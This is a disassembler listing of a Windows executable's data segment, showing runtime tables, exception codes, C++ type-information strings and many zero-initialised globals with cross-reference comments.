dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43A518 dd 0C0000005h ; DATA XREF: sub_41CE74+19o
; sub_41D01C+Ar ...
dword_43A51C dd 0Bh ; DATA XREF: sub_41FC98+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43A590 dd 3 ; DATA XREF: sub_41CEDB+58r
; sub_41FB6B+C8r
dword_43A594 dd 7 ; DATA XREF: sub_41CEDB+5Er
; sub_41FB6B+CDr
dword_43A598 dd 0Ah ; DATA XREF: sub_41D01C+4r
; sub_41FC98+4r
dword_43A59C dd 8Ch ; DATA XREF: sub_41CEDB+82r
; sub_41CEDB+8Fw ...
dword_43A5A0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_417C57:loc_417D14o
; sub_41C178:loc_41C1F9o
dword_43A5A8 dd 2 ; DATA XREF: sub_41D7B5+Eo
; sub_41D7B5+28r
off_43A5AC dd offset aR6002FloatingP ; DATA XREF: sub_41D7B5+FCr
; sub_41D7B5+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 421AF4h, 9, 421AC8h, 0Ah, 421AA4h, 10h, 421A78h
dd 11h, 421A48h, 12h, 421A24h, 13h, 4219F8h, 18h, 4219C0h
dd 19h, 421998h, 1Ah, 421960h, 1Bh, 421928h, 1Ch, 421900h
dd 78h, 4218F0h, 79h, 4218E0h, 7Ah, 4218D0h, 0FCh, 426A30h
dd 0FFh, 4218C0h
off_43A638 dd offset dword_46B940 ; DATA XREF: sub_41D7B5+1Bo
; sub_41D972+55o
align 10h
dd offset dword_46B940
dd 101h
dword_43A648 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D972+72o
dd 1000h, 0
dword_43A658 dd 3 dup(0) ; DATA XREF: sub_417C57+50o
; sub_4187D6+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43A678 dd 3 dup(0) ; DATA XREF: sub_417C57+58o
; sub_4187D6:loc_4187F4o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43A6A8 dd 84h dup(0) ; DATA XREF: sub_41D972+9Bo
dword_43A8B8 dd 2694h ; DATA XREF: sub_419E89+3r
; sub_419EDC+46r ...
align 10h
dword_43A8C0 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_41E57Eo
dword_43A8D8 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41E594o
dword_43A8F0 dd 7080h ; DATA XREF: sub_41C0B6+76r
; sub_41EA02+5Ew ...
dword_43A8F4 dd 1 ; DATA XREF: sub_41C0B6+98r
; sub_41EA02+8Bw ...
dword_43A8F8 dd 0FFFFF1F0h ; DATA XREF: sub_41C0B6:loc_41C168r
; sub_41EA02+94w ...
dword_43A8FC dd 545350h, 0Fh dup(0) ; DATA XREF: seg001:off_43A97Co
dword_43A93C dd 544450h, 0Fh dup(0) ; DATA XREF: seg001:off_43A980o
off_43A97C dd offset dword_43A8FC ; DATA XREF: sub_41EA02+BAr
; sub_41EA02+D9r ...
off_43A980 dd offset dword_43A93C ; DATA XREF: sub_41EA02+F4r
; sub_41EA02+11Br ...
align 8
dword_43A988 dd 0FFFFFFFFh ; DATA XREF: sub_41EA02+1Dw
; sub_41EC60+1Er ...
dword_43A98C dd 0 ; DATA XREF: sub_41EC60:loc_41ED94r
; sub_41EE0C+BFw
dword_43A990 dd 0 ; DATA XREF: sub_41EC60+192r
; sub_41EE0C+E0w
align 8
dword_43A998 dd 0FFFFFFFFh ; DATA XREF: sub_41EA02+17w
; sub_41EC60+26r ...
dword_43A99C dd 0 ; DATA XREF: sub_41EC60+13Ar
; sub_41EE0C+EAw ...
dword_43A9A0 dd 0 ; DATA XREF: sub_41EC60+1A1r
; sub_41EE0C+23r ...
dword_43A9A4 dd 0FFFFFFFFh ; DATA XREF: sub_41EE0C+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_43A9D4 dd 16Dh ; DATA XREF: sub_41C0B6+2Ar
; sub_41EE0C+2Er ...
dword_43A9D8 dd 0FFFFFFFFh ; DATA XREF: sub_41EE0C:loc_41EE98r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_43AA10 dd 2 dup(0) ; DATA XREF: sub_41FFF0+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43AB70 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_41FFF0+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_43ACD0 dd offset off_421CE8 ; DATA XREF: seg001:off_421D10o
; seg001:00421E3Co ...
align 8
a_?avexception@ db '.?AVexception@@',0
off_43ACE8 dd offset off_421CE8 ; DATA XREF: seg001:off_421D28o
; seg001:00421DBCo ...
align 10h
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43AD08 dd offset off_421CE8 ; DATA XREF: seg001:off_421D40o
; seg001:00421D84o ...
align 10h
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_43AD28 dd offset off_421CE8 ; DATA XREF: seg001:off_421DC8o
; seg001:00421E0Co ...
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43AD48 dd offset off_421CE8 ; DATA XREF: seg001:off_421E48o
; seg001:00421E84o
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_41E79E
align 8
byte_43AD68 db 0 ; DATA XREF: sub_401444+1C1w
; sub_401444+2C0o
align 2
word_43AD6A dw 0 ; DATA XREF: sub_401444+1D1w
word_43AD6C dw 0 ; DATA XREF: sub_401444+1D7w
word_43AD6E dw 0 ; DATA XREF: sub_401444+1DEw
byte_43AD70 db 0 ; DATA XREF: sub_401444+1E5w
byte_43AD71 db 0 ; DATA XREF: sub_401444+1ECw
word_43AD72 dw 0 ; DATA XREF: sub_401444+1F2w
dword_43AD74 dd 0 ; DATA XREF: sub_401444+220w
; sub_401444+23Ew
dword_43AD78 dd 0 ; DATA XREF: sub_401444+246w
byte_43AD7C db 0 ; DATA XREF: sub_401444+258w
byte_43AD7D db 0 ; DATA XREF: sub_401444+26Bw
word_43AD7E dw 0 ; DATA XREF: sub_401444+283w
word_43AD80 dw 0 ; DATA XREF: sub_401444+292w
word_43AD82 dw 0 ; DATA XREF: sub_401444+28Aw
dword_43AD84 dd 100h dup(0) ; DATA XREF: sub_401444+2A7o
dword_43B184 dd 0 ; DATA XREF: sub_402FCD+9Eo
byte_43B188 db 0 ; DATA XREF: sub_402FCD+36r
; sub_4030B0+37r ...
align 4
dword_43B18C dd 7A5h ; DATA XREF: sub_4036BB+10w
; sub_4036D2+30r ...
dword_43B190 dd 2 dup(0) ; DATA XREF: sub_4044FF+68o
dword_43B198 dd 0 ; DATA XREF: sub_403FAF+13o
; sub_40CD3A+5B16o ...
dword_43B19C dd 0 ; DATA XREF: sub_40597F+2Aw
; sub_40597F+51r ...
dword_43B1A0 dd 0 ; DATA XREF: sub_4036D2+AEr
; seg001:0040491Br ...
align 8
dword_43B1A8 dd 0 ; DATA XREF: sub_40713F+18r
; sub_407592+92w ...
dword_43B1AC dd 0 ; DATA XREF: sub_4076CB+1F7r
; sub_4078DF+D9w ...
dd 256h dup(0)
dword_43BB08 dd 6 dup(0) ; DATA XREF: sub_4076CB+C0o
; sub_4076CB+129o ...
dword_43BB20 dd 0 ; DATA XREF: sub_4071B6+82w
; sub_4071B6+FFo
dword_43BB24 dd 41h dup(0) ; DATA XREF: sub_4071B6+41o
dword_43BC28 dd 41h dup(0) ; DATA XREF: sub_4071B6+63o
dword_43BD2C dd 0 ; DATA XREF: sub_4071B6+F5w
; sub_4071B6+111r
dword_43BD30 dd 0 ; DATA XREF: sub_4071B6+52w
dword_43BD34 dd 0 ; DATA XREF: sub_4071B6+4Dw
; sub_4071B6+D2r
dword_43BD38 dd 20h dup(0) ; DATA XREF: sub_4071B6+9Ao
; sub_4071B6+B7o
dword_43BDB8 dd 0 ; DATA XREF: sub_4071B6+8Fw
dword_43BDBC dd 0 ; DATA XREF: sub_4071B6+A4w
; sub_4071B6+C1w
dword_43BDC0 dd 0 ; DATA XREF: sub_4071B6:loc_40737Cr
align 8
dword_43BDC8 dd 0 ; DATA XREF: sub_4071B6+2D5w
; sub_4071B6+32Eo
dword_43BDCC dd 0A2h dup(0) ; DATA XREF: sub_4071B6+2C3o
dword_43C054 dd 41h dup(0) ; DATA XREF: sub_4071B6+28Do
dword_43C158 dd 0 ; DATA XREF: sub_4071B6+2BAw
; sub_4071B6+2E1r
align 10h
dword_43C160 dd 0 ; DATA XREF: sub_4071B6+324w
; sub_4071B6+340r
dword_43C164 dd 0 ; DATA XREF: sub_4071B6+2E7w
dword_43C168 dd 0 ; DATA XREF: sub_4071B6+2F4w
dword_43C16C dd 0 ; DATA XREF: sub_4071B6+2B4w
dd 0
dword_43C174 dd 0 ; DATA XREF: sub_4071B6:loc_407540r
dword_43C178 dd 0 ; DATA XREF: sub_4071B6+190w
; sub_4071B6+222o
dword_43C17C dd 41h dup(0) ; DATA XREF: sub_4071B6+152o
dword_43C280 dd 41h dup(0) ; DATA XREF: sub_4071B6+171o
dword_43C384 dd 0 ; DATA XREF: sub_4071B6+218w
; sub_4071B6+234r
dword_43C388 dd 0 ; DATA XREF: sub_4071B6+160w
dword_43C38C dd 0 ; DATA XREF: sub_4071B6+1F5r
dword_43C390 dd 20h dup(0) ; DATA XREF: sub_4071B6+1A8o
; sub_4071B6+1DAo
dword_43C410 dd 0 ; DATA XREF: sub_4071B6+19Dw
dword_43C414 dd 0 ; DATA XREF: sub_4071B6+1B2w
; sub_4071B6+1E4w
dword_43C418 dd 0 ; DATA XREF: sub_4071B6:loc_40741Ar
dword_43C41C dd 0 ; DATA XREF: sub_40891C+489w
; sub_40891C+4CDr
dword_43C420 dd 0 ; DATA XREF: sub_40891C+65w
; sub_413C50+EEr
dword_43C424 dd 0 ; DATA XREF: sub_40891C+7EDw
; sub_40891C+862r ...
dword_43C428 dd 0 ; DATA XREF: sub_40891C+9BAw
; sub_40891C+A18r ...
dword_43C42C dd 0 ; DATA XREF: sub_40891C+96Cw
; sub_40891C+9E8r ...
dword_43C430 dd 0 ; DATA XREF: sub_40891C+46Fw
; sub_40891C+4BDr
dword_43C434 dd 0 ; DATA XREF: sub_4021FB+ECr
; sub_4021FB+108r ...
dword_43C438 dd 0 ; DATA XREF: sub_40891C+9ADw
; sub_40891C+A10r ...
dword_43C43C dd 0 ; DATA XREF: sub_40891C+354w
; sub_40891C+3A9r ...
dword_43C440 dd 0 ; DATA XREF: sub_40891C+3F1w
; sub_40A9D8+11Er
dword_43C444 dd 0 ; DATA XREF: sub_40891C+361w
; sub_40891C+3B1r ...
dword_43C448 dd 0 ; DATA XREF: sub_40891C+3A2w
; sub_413248+ADr
dword_43C44C dd 0 ; DATA XREF: sub_405A96+115r
; sub_40840A+76r ...
dword_43C450 dd 0 ; DATA XREF: sub_40891C+72w
; sub_40891C+D2r ...
dword_43C454 dd 0 ; DATA XREF: sub_40891C+95Fw
; sub_40891C+9DBr ...
dword_43C458 dd 0 ; DATA XREF: sub_40891C+388w
; sub_40891C+3C9r ...
dword_43C45C dd 0 ; DATA XREF: sub_40891C+83Bw
; sub_40891C+88Er ...
dword_43C460 dd 0 ; DATA XREF: sub_408503+58r
; sub_40891C+2A5w ...
dword_43C464 dd 0 ; DATA XREF: sub_40891C+82Ew
; sub_40891C+886r ...
dword_43C468 dd 0 ; DATA XREF: sub_40891C+B3w
dword_43C46C dd 0 ; DATA XREF: sub_40891C+848w
; sub_40891C+896r ...
dword_43C470 dd 0 ; DATA XREF: sub_407B36+7Er
; sub_40891C+52Fw ...
dword_43C474 dd 0 ; DATA XREF: sub_40891C+58w
; sub_40891C+CAr ...
dword_43C478 dd 0 ; DATA XREF: sub_40891C+916w
; sub_40A133+11Ar
dword_43C47C dd 0 ; DATA XREF: sub_40891C+A66w
; sub_40891C+A6Dr ...
dword_43C480 dd 0 ; DATA XREF: sub_40891C+A6w
; sub_40891C+F2r
dword_43C484 dd 0 ; DATA XREF: sub_40891C+462w
; sub_40891C+4B5r
dword_43C488 dd 0 ; DATA XREF: sub_40754A+20r
; sub_40891C+5D8w ...
dword_43C48C dd 0 ; DATA XREF: sub_40891C+9A0w
; sub_40891C+A08r
dword_43C490 dd 0 ; DATA XREF: sub_4024D0+280r
; sub_40891C+5CBw ...
dword_43C494 dd 0 ; DATA XREF: sub_4030B0+A7r
; sub_40891C+B21w
dword_43C498 dd 0 ; DATA XREF: sub_40891C+7E0w
; sub_40891C+84Fr ...
dword_43C49C dd 0 ; DATA XREF: sub_40891C+1B3w
; sub_409D12+15r
dword_43C4A0 dd 0 ; DATA XREF: sub_40891C+979w
; sub_40891C+9F0r ...
dword_43C4A4 dd 0 ; DATA XREF: sub_40891C+36Ew
; sub_40891C+3B9r ...
dword_43C4A8 dd 0 ; DATA XREF: sub_40891C+37Bw
; sub_40891C+3C1r ...
dword_43C4AC dd 0 ; DATA XREF: sub_40891C+C56w
; sub_40891C+C5Dr
dword_43C4B0 dd 0 ; DATA XREF: sub_40891C+68Ew
dword_43C4B4 dd 0 ; DATA XREF: sub_4010B2:loc_4013B3r
; sub_4018CB:loc_401B47r ...
dword_43C4B8 dd 0 ; DATA XREF: sub_40891C+496w
dword_43C4BC dd 0 ; DATA XREF: sub_40891C+9C7w
; sub_40891C+A20r ...
dword_43C4C0 dd 0 ; DATA XREF: sub_40891C+2B2w
; sub_40891C+2DEr ...
dword_43C4C4 dd 0 ; DATA XREF: sub_40891C+7Fw
; sub_40891C+DAr ...
dword_43C4C8 dd 0 ; DATA XREF: sub_40891C+B6Ew
; sub_40891C+B75r ...
dword_43C4CC dd 0 ; DATA XREF: sub_4010B2+2Fr
; sub_4018CB+2Fr ...
dword_43C4D0 dd 0 ; DATA XREF: sub_40891C+807w
; sub_40891C+872r ...
dword_43C4D4 dd 0 ; DATA XREF: sub_40891C+986w
; sub_40891C+9F8r
dword_43C4D8 dd 0 ; DATA XREF: sub_404EC7+3Cr
; sub_404EC7+6Er ...
dword_43C4DC dd 0 ; DATA XREF: sub_4021FB+40r
; sub_4021FB+63r ...
dword_43C4E0 dd 0 ; DATA XREF: sub_40891C+8FCw
; sub_40891C+910r ...
dword_43C4E4 dd 0 ; DATA XREF: sub_40891C+BF9w
dword_43C4E8 dd 0 ; DATA XREF: sub_4010B2:loc_4013BFr
; sub_401444+3Cr ...
dword_43C4EC dd 0 ; DATA XREF: sub_40891C+821w
; sub_40891C+855r
dword_43C4F0 dd 0 ; DATA XREF: sub_4021FB+50r
; sub_4021FB+78r ...
dword_43C4F4 dd 0 ; DATA XREF: sub_40891C+172w
; sub_40891C+1C2r
dword_43C4F8 dd 0 ; DATA XREF: sub_40891C+65Aw
; sub_40891C+786r ...
dword_43C4FC dd 0 ; DATA XREF: sub_4033B6+20Ar
; sub_4036D2+5Er ...
dword_43C500 dd 0 ; DATA XREF: sub_4024D0+16Er
; sub_40891C+549w ...
dword_43C504 dd 0 ; DATA XREF: sub_40891C+8BDw
; sub_40891C:loc_4091F7w ...
dword_43C508 dd 0 ; DATA XREF: sub_40891C+28Bw
; sub_40891C+2C6r ...
dword_43C50C dd 0 ; DATA XREF: sub_407CBD+98r
; sub_40891C+681w ...
dword_43C510 dd 0 ; DATA XREF: sub_40891C+30Fw
; sub_40891C+323r ...
dword_43C514 dd 0 ; DATA XREF: sub_40891C+395w
; sub_40891C+3D1r ...
dword_43C518 dd 0 ; DATA XREF: sub_404EC7+16Cr
; sub_404EC7+1A0r ...
dword_43C51C dd 0 ; DATA XREF: sub_40891C+7FAw
; sub_40891C+86Ar ...
dword_43C520 dd 0 ; DATA XREF: sub_4021FB+FCr
; sub_40891C+206w ...
dword_43C524 dd 0 ; DATA XREF: sub_40891C+18Cw
; sub_40891C+1D2r ...
dword_43C528 dd 0 ; DATA XREF: sub_40891C+814w
; sub_40891C+87Ar ...
dword_43C52C dd 0 ; DATA XREF: sub_406B84+244r
; sub_40891C+606w ...
dword_43C530 dd 0 ; DATA XREF: sub_408503+196r
; sub_40891C+2BFw ...
dword_43C534 dd 0 ; DATA XREF: sub_4010B2+6Fr
; sub_401444+AAr ...
dword_43C538 dd 0 ; DATA XREF: sub_40891C+302w
; sub_40891C+316r ...
dword_43C53C dd 0 ; DATA XREF: sub_405A96+F9r
; sub_406B84+1FCr ...
dword_43C540 dd 0 ; DATA XREF: sub_40891C+42Ew
; sub_40891C+490r
dword_43C544 dd 0 ; DATA XREF: sub_40891C+199w
; sub_40891C+1DAr ...
dword_43C548 dd 0 ; DATA XREF: sub_40891C+347w
; sub_40891C+39Cr ...
dword_43C54C dd 0 ; DATA XREF: sub_40891C+A73w
dword_43C550 dd 0 ; DATA XREF: sub_4010B2+EBr
; sub_4010B2+1F9r ...
dword_43C554 dd 0 ; DATA XREF: sub_4010B2+87r
; sub_4010B2+9Dr ...
dword_43C558 dd 0 ; DATA XREF: sub_40891C+4Bw
; sub_40891C+C2r ...
dword_43C55C dd 0 ; DATA XREF: sub_40891C+455w
; sub_40891C+4ADr
dword_43C560 dd 0 ; DATA XREF: sub_40891C+165w
; sub_40891C+1BAr ...
dword_43C564 dd 0 ; DATA XREF: sub_40891C+9E1w
; sub_413B27+72r
dword_43C568 dd 0 ; DATA XREF: sub_40891C+667w
; sub_40891C+78Er
dword_43C56C dd 0 ; DATA XREF: sub_4024D0+206r
; sub_4033B6+23Br ...
dword_43C570 dd 0 ; DATA XREF: sub_404EC7+1B3r
; sub_404EC7+21Dr ...
dword_43C574 dd 0 ; DATA XREF: sub_40891C+3Ew
; sub_40891C+BAr ...
dword_43C578 dd 0 ; DATA XREF: sub_40891C+298w
; sub_40891C+2CEr ...
dword_43C57C dd 0 ; DATA XREF: sub_405A96+9Er
; sub_407B36+9Cr ...
dword_43C580 dd 0 ; DATA XREF: sub_4024D0+EBr
; sub_405A96+89r ...
dword_43C584 dd 0 ; DATA XREF: sub_40891C+C63w
dword_43C588 dd 0 ; DATA XREF: sub_40891C+85Bw
; sub_40AD52+209r ...
dword_43C58C dd 0 ; DATA XREF: sub_40891C+112w
dword_43C590 dd 0 ; DATA XREF: sub_404EC7+F8r
; sub_40891C+BB8w ...
dword_43C594 dd 0 ; DATA XREF: sub_401444+119r
; sub_401444+1A0r ...
dword_43C598 dd 0 ; DATA XREF: sub_40891C+43Bw
; sub_40891C+49Dr
dword_43C59C dd 0 ; DATA XREF: sub_40891C+47Cw
; sub_40891C+4C5r
dword_43C5A0 dd 0 ; DATA XREF: sub_40891C+448w
; sub_40891C+4A5r
dword_43C5A4 dd 0 ; DATA XREF: sub_4033B6+221r
; sub_4033B6+249r ...
dword_43C5A8 dd 0 ; DATA XREF: sub_40891C+1A6w
; sub_40891C+1E2r ...
dword_43C5AC dd 0 ; DATA XREF: sub_40891C+9D4w
; sub_40891C+A28r ...
dword_43C5B0 dd 0 ; DATA XREF: sub_40891C+158w
; sub_40891C+1ADr ...
dword_43C5B4 dd 0 ; DATA XREF: sub_40891C+8Cw
; sub_40891C+E2r ...
dword_43C5B8 dd 0 ; DATA XREF: sub_4010B2+2C2r
; sub_401444+2C8r ...
dword_43C5BC dd 0 ; DATA XREF: sub_40891C+B14w
; sub_40891C+B30r
dword_43C5C0 dd 0 ; DATA XREF: sub_40891C+31Cw
; sub_413BE5+55r
dword_43C5C4 dd 0 ; DATA XREF: sub_408503+3Fr
; sub_40891C+27Ew ...
dword_43C5C8 dd 0 ; DATA XREF: sub_40891C+B7Bw
dword_43C5CC dd 0 ; DATA XREF: sub_40891C+ABDw
; sub_409FB2+8Fr
dword_43C5D0 dd 0 ; DATA XREF: sub_40891C+AB0w
; sub_40891C+AB7r ...
dword_43C5D4 dd 0 ; DATA XREF: sub_401444+2Er
; sub_401BD4+55r ...
dword_43C5D8 dd 0 ; DATA XREF: sub_407CBD+88r
; sub_40891C+674w ...
dword_43C5DC dd 0 ; DATA XREF: sub_404EC7+53r
; sub_40891C+BC5w ...
dword_43C5E0 dd 0 ; DATA XREF: sub_4024D0+28Dr
; sub_406B84+250r ...
dword_43C5E4 dd 0 ; DATA XREF: sub_40891C+993w
; sub_40891C+A00r ...
dword_43C5E8 dd 0 ; DATA XREF: sub_405A96+13Dr
; sub_407B36+B3r ...
dword_43C5EC dd 0 ; DATA XREF: sub_4010B2+2FAr
; sub_401444+2F4r ...
dword_43C5F0 dd 0 ; DATA XREF: sub_405A96+B7r
; sub_405A96+376r ...
dword_43C5F4 dd 0 ; DATA XREF: sub_402FCD+B0r
; sub_402FCD+C8r ...
dword_43C5F8 dd 0 ; DATA XREF: sub_4010B2+4Fr
; sub_4018CB+4Fr ...
dword_43C5FC dd 0 ; DATA XREF: sub_40891C+AFAw
; sub_40891C+B1Br
dword_43C600 dd 0 ; DATA XREF: sub_40891C+31w
; sub_40891C+ADr ...
dword_43C604 dd 0 ; DATA XREF: sub_40891C+17Fw
; sub_40891C+1CAr
dword_43C608 dd 0 ; DATA XREF: sub_40891C+909w
; sub_40891C+91Dr ...
dword_43C60C dd 0 ; DATA XREF: sub_40891C+99w
; sub_40891C+EAr ...
dword_43C610 dd 0 ; DATA XREF: sub_40891C:loc_408A1Aw
; sub_40891C+12Bw ...
dword_43C614 dd 0 ; DATA XREF: sub_40891C+126w
; sub_4095A9+1Cr
dword_43C618 dd 0 ; DATA XREF: sub_40891C:loc_408B0Aw
; sub_40891C:loc_408B71w ...
dword_43C61C dd 0 ; DATA XREF: sub_40891C+250w
; sub_4095A9+50r
dword_43C620 dd 0 ; DATA XREF: sub_40891C:loc_408C06w
; sub_40891C:loc_408C4Bw ...
dword_43C624 dd 0 ; DATA XREF: sub_40891C+400w
; sub_4095A9+84r
dword_43C628 dd 0 ; DATA XREF: sub_40891C:loc_408E02w
; sub_4095A9:loc_409659r
dword_43C62C dd 0 ; DATA XREF: sub_40891C+4E1w
; sub_4095A9+B8r
dword_43C630 dd 0 ; DATA XREF: sub_40891C:loc_4090D3w
; sub_4095A9:loc_40968Dr
dword_43C634 dd 0 ; DATA XREF: sub_40891C+7B2w
; sub_4095A9+ECr
dword_43C638 dd 0 ; DATA XREF: sub_40891C:loc_4091BEw
; sub_40891C+8D1w ...
dword_43C63C dd 0 ; DATA XREF: sub_40891C+8CCw
; sub_4095A9+120r
dword_43C640 dd 0 ; DATA XREF: sub_40891C:loc_409252w
; sub_4095A9:loc_4096F5r ...
dword_43C644 dd 0 ; DATA XREF: sub_40891C+931w
; sub_4095A9+154r
dword_43C648 dd 0 ; DATA XREF: sub_40891C:loc_40935Dw
; sub_4095A9:loc_409729r ...
dword_43C64C dd 0 ; DATA XREF: sub_40891C+A3Cw
; sub_4095A9+188r
dword_43C650 dd 0 ; DATA XREF: sub_40891C:loc_4093A7w
; sub_4095A9:loc_40975Dr
dword_43C654 dd 0 ; DATA XREF: sub_40891C+A86w
; sub_4095A9+1BCr
dword_43C658 dd 0 ; DATA XREF: sub_40891C:loc_4093F1w
; sub_4095A9:loc_409791r
dword_43C65C dd 0 ; DATA XREF: sub_40891C+AD0w
; sub_4095A9+1F0r
dword_43C660 dd 0 ; DATA XREF: sub_40891C:loc_409465w
; sub_4095A9:loc_4097C5r
dword_43C664 dd 0 ; DATA XREF: sub_40891C+B44w
; sub_4095A9+224r
dword_43C668 dd 0 ; DATA XREF: sub_40891C:loc_4094AFw
; sub_4095A9:loc_4097F9r
dword_43C66C dd 0 ; DATA XREF: sub_40891C+B8Ew
; sub_4095A9+258r
dword_43C670 dd 0 ; DATA XREF: sub_40891C:loc_40954Dw
; sub_4095A9:loc_40982Dr
dword_43C674 dd 0 ; DATA XREF: sub_40891C+C2Cw
; sub_4095A9+28Cr
dword_43C678 dd 0 ; DATA XREF: sub_40891C:loc_409597w
; sub_4095A9:loc_409861r
dword_43C67C dd 0 ; DATA XREF: sub_40891C+C76w
; sub_4095A9+2C0r
dword_43C680 dd 80h dup(0) ; DATA XREF: sub_409B27+6Ao
dword_43C880 dd 4 dup(0) ; DATA XREF: sub_40A08A+32o
dword_43C890 dd 0 ; DATA XREF: sub_40A4D6:loc_40A4F7r
; sub_40A5C5+54r ...
dword_43C894 dd 0 ; DATA XREF: sub_40A4D6r
; sub_40A5C5+37r ...
dword_43C898 dd 0 ; DATA XREF: sub_40A506+1Ar
; sub_40A71A+83o
dword_43C89C dd 0 ; DATA XREF: sub_40A4D6:loc_40A4EAr
; sub_40A71A+11Bw
dword_43C8A0 dd 0Dh dup(0) ; DATA XREF: sub_40A5C5+13o
; sub_40A71A:loc_40A857o
dword_43C8D4 dd 0 ; DATA XREF: sub_40A5C5+CDr
; sub_40A5C5+ECr ...
dword_43C8D8 dd 0Eh dup(0) ; DATA XREF: sub_40A8CF+3Eo
dword_43C910 dd 1000h dup(0) ; DATA XREF: sub_40B078+1Do
; sub_40B118o ...
dword_440910 dd 0Dh dup(0) ; DATA XREF: sub_40B078+13o
; sub_40B118+Eo ...
dword_440944 dd 0 ; DATA XREF: sub_40C48C+C8o
dword_440948 dd 0 ; DATA XREF: sub_40AF80+Ao
; sub_40AF80+44r ...
dd 5 dup(0)
dword_440960 dd 0 ; DATA XREF: sub_40AF80+60r
; sub_40CD3A+B6Br
dd 2D9h dup(0)
dword_4414C8 dd 0 ; DATA XREF: sub_4076CB+96r
; sub_40AF80+2Do ...
dd 7Fh dup(0)
dword_4416C8 dd 0 ; DATA XREF: sub_414DDA+4Cw
; sub_414F15+3Aw ...
dword_4416CC dd 0 ; DATA XREF: sub_406048+233w
; sub_4076CB+6Dr ...
dword_4416D0 dd 0 ; DATA XREF: sub_40A71A+164w
; sub_414DDA+45w ...
